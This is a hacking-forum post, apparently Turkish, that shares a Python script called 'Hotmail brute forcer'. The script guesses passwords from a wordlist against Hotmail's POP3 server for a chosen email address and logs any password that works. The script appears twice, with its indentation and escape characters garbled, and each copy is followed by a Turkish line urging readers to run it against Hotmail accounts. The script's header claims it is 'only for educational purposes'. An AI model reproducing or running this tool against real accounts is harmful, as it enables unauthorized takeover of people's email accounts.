babayorgun24
Spys-Z
- Katılım
- 5 Eki 2012
- Mesajlar
- 202
- Tepkime puanı
- 0
- Puanları
- 16
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Hotmail brute forcer
# programmer : gunslinger_
# Inspired by mywisdom
# This program is only for educational purposes only.
import sys, poplib, time
__Author__ = "Gunslinger_"
__Version__Â = "1.0"
__Date__Â Â = "Mon, 22 Feb 2010 13:13:43 +0700 "
log = "hotmailbrute.log"
file = open(log, "a")
counter = 0
face = '''
_Â Â Â Â Â Â Â Â Â Â _Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â _ _Â Â _Â Â Â Â Â __
| |__Â Â ___ | |_ _ __ ___Â Â __ _(_) | | |__Â / _|
| '_ / _ | __| '_ ` _ / _` | | | | '_ | |_
| | | | (_) | |_| | | | | | (_| | | | | |_) |Â _|
|_| |_|___/ __|_| |_| |_|__,_|_|_| |_.__/|_|
Hotmail brute forcer
programmer  : %s
version     : %s
date release : %s
''' % (__Author__, __Version__, __Date__)
help = '''
Usage : ./hotmailbf.py -u -w [wordlist]
Example : ./hotmailbf.py -u suckthedick@hotmail.com -w wordlist.txt
'''
for arg in sys.argv:
if arg.lower() == '-u' or arg.lower() == '--user':
email = sys.argv[int(sys.argv.index(arg))+1]
elif arg.lower() == '-w' or arg.lower() == '--wordlist':
wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == '-h' or arg.lower() == '--help':
print face
print help
file.write(face)
file.write(help)
#Change these if needed.
HOST = 'pop3.live.com'
PORT = 995
try:
preventstrokes = open(wordlist, "r")
words          = preventstrokes.readlines()
count         = 0
while count < len(words):
words[count] = words[count].strip()
count += 1
except(IOError):
print "n[-] Error: Check your wordlist pathn"
file.write("n[-] Error: Check your wordlist pathn")
sys.exit(1)
def definer():
print "-" * 60
print "[+] Email       : %s" % email
print "[+] Wordlist       : %s" % wordlist
print "[+] Length wordlist    : %s " % len(words)
print "[+] Time Starting    : %s" % time.strftime("%X")
print "-" * 60
file.write ("n[+] Email : %s" % email)
file.write ("n[+] Wordlist : %s" % wordlist)
file.write ("n[+] length wordlist : %s " % len(words))
file.write ("n[+] Time Starting : %s" % time.strftime("%X"))
def main(password):
global counter
sys.stdout.write ("[-] Trying : %s n" % (password))
sys.stdout.flush()
file.write("[-] Trying : %s n" % (str(password)))
try:
pop = poplib.POP3_SSL(HOST, PORT)
pop.user(email)
pop.pass_(password)
pop.quit()
print "[+] W00t w00t !!!n[+] Username : [%s]n[+] Password : [%s]n[+] Status : Valid!" % (email, password)
file.write("[+] W00t w00t !!!n[+] Username : [%s]n[+] Password : [%s]n[+] Status : Valid!" % (email, password))
sys.exit(1)
except Exception, e:
pass
except KeyboardInterrupt:
print "n[-] Aborting...n"
file.write("n[-] Aborting...n")
sys.exit(1)
counter+=1
if counter == len(words)/5:
print "[+] Hotmailbruteforcer 20% way done..."
print "[+] Please be patient..."
file.write("[+] hotmailbruteforcer on 1/4 way done...n")
file.write("[+] Please be patient...n")
elif counter == len(words)/4:
print "[+] Hotmailbruteforcer 25% way done..."
print "[+] Please be patient..."
file.write("[+] hotmailbruteforcer on 1/4 way done...n")
file.write("[+] Please be patient...n")
elif counter == len(words)/2:
print "[+] Hotmailbruteforcer on 50% done..."
print "[+] Please be patient..."
file.write("[+] hotmailbruteforcer on halfway done...n")
file.write("[+] Please be patient...n")
elif counter == len(words):
print "[+] Hotmailbruteforcer done...n"
file.write("[+] Hotmailbruteforcer done...!n")
if __name__ == '__main__':
print face
file.write(face)
definer()
for password in words:
main(password.replace("n",""))
main(password)
cmdden acarak hotmail hesaplarina bruteforce yapabilrisiniz.
# -*- coding: utf-8 -*-
# Hotmail brute forcer
# programmer : gunslinger_
# Inspired by mywisdom
# This program is only for educational purposes only.
import sys, poplib, time
__Author__ = "Gunslinger_"
__Version__Â = "1.0"
__Date__Â Â = "Mon, 22 Feb 2010 13:13:43 +0700 "
log = "hotmailbrute.log"
file = open(log, "a")
counter = 0
face = '''
_Â Â Â Â Â Â Â Â Â Â _Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â _ _Â Â _Â Â Â Â Â __
| |__Â Â ___ | |_ _ __ ___Â Â __ _(_) | | |__Â / _|
| '_ / _ | __| '_ ` _ / _` | | | | '_ | |_
| | | | (_) | |_| | | | | | (_| | | | | |_) |Â _|
|_| |_|___/ __|_| |_| |_|__,_|_|_| |_.__/|_|
Hotmail brute forcer
programmer  : %s
version     : %s
date release : %s
''' % (__Author__, __Version__, __Date__)
help = '''
Usage : ./hotmailbf.py -u -w [wordlist]
Example : ./hotmailbf.py -u suckthedick@hotmail.com -w wordlist.txt
'''
for arg in sys.argv:
if arg.lower() == '-u' or arg.lower() == '--user':
email = sys.argv[int(sys.argv.index(arg))+1]
elif arg.lower() == '-w' or arg.lower() == '--wordlist':
wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == '-h' or arg.lower() == '--help':
print face
print help
file.write(face)
file.write(help)
#Change these if needed.
HOST = 'pop3.live.com'
PORT = 995
try:
preventstrokes = open(wordlist, "r")
words          = preventstrokes.readlines()
count         = 0
while count < len(words):
words[count] = words[count].strip()
count += 1
except(IOError):
print "n[-] Error: Check your wordlist pathn"
file.write("n[-] Error: Check your wordlist pathn")
sys.exit(1)
def definer():
print "-" * 60
print "[+] Email       : %s" % email
print "[+] Wordlist       : %s" % wordlist
print "[+] Length wordlist    : %s " % len(words)
print "[+] Time Starting    : %s" % time.strftime("%X")
print "-" * 60
file.write ("n[+] Email : %s" % email)
file.write ("n[+] Wordlist : %s" % wordlist)
file.write ("n[+] length wordlist : %s " % len(words))
file.write ("n[+] Time Starting : %s" % time.strftime("%X"))
def main(password):
global counter
sys.stdout.write ("[-] Trying : %s n" % (password))
sys.stdout.flush()
file.write("[-] Trying : %s n" % (str(password)))
try:
pop = poplib.POP3_SSL(HOST, PORT)
pop.user(email)
pop.pass_(password)
pop.quit()
print "[+] W00t w00t !!!n[+] Username : [%s]n[+] Password : [%s]n[+] Status : Valid!" % (email, password)
file.write("[+] W00t w00t !!!n[+] Username : [%s]n[+] Password : [%s]n[+] Status : Valid!" % (email, password))
sys.exit(1)
except Exception, e:
pass
except KeyboardInterrupt:
print "n[-] Aborting...n"
file.write("n[-] Aborting...n")
sys.exit(1)
counter+=1
if counter == len(words)/5:
print "[+] Hotmailbruteforcer 20% way done..."
print "[+] Please be patient..."
file.write("[+] hotmailbruteforcer on 1/4 way done...n")
file.write("[+] Please be patient...n")
elif counter == len(words)/4:
print "[+] Hotmailbruteforcer 25% way done..."
print "[+] Please be patient..."
file.write("[+] hotmailbruteforcer on 1/4 way done...n")
file.write("[+] Please be patient...n")
elif counter == len(words)/2:
print "[+] Hotmailbruteforcer on 50% done..."
print "[+] Please be patient..."
file.write("[+] hotmailbruteforcer on halfway done...n")
file.write("[+] Please be patient...n")
elif counter == len(words):
print "[+] Hotmailbruteforcer done...n"
file.write("[+] Hotmailbruteforcer done...!n")
if __name__ == '__main__':
print face
file.write(face)
definer()
for password in words:
main(password.replace("n",""))
main(password)
cmdden acarak hotmail hesaplarina bruteforce yapabilrisiniz.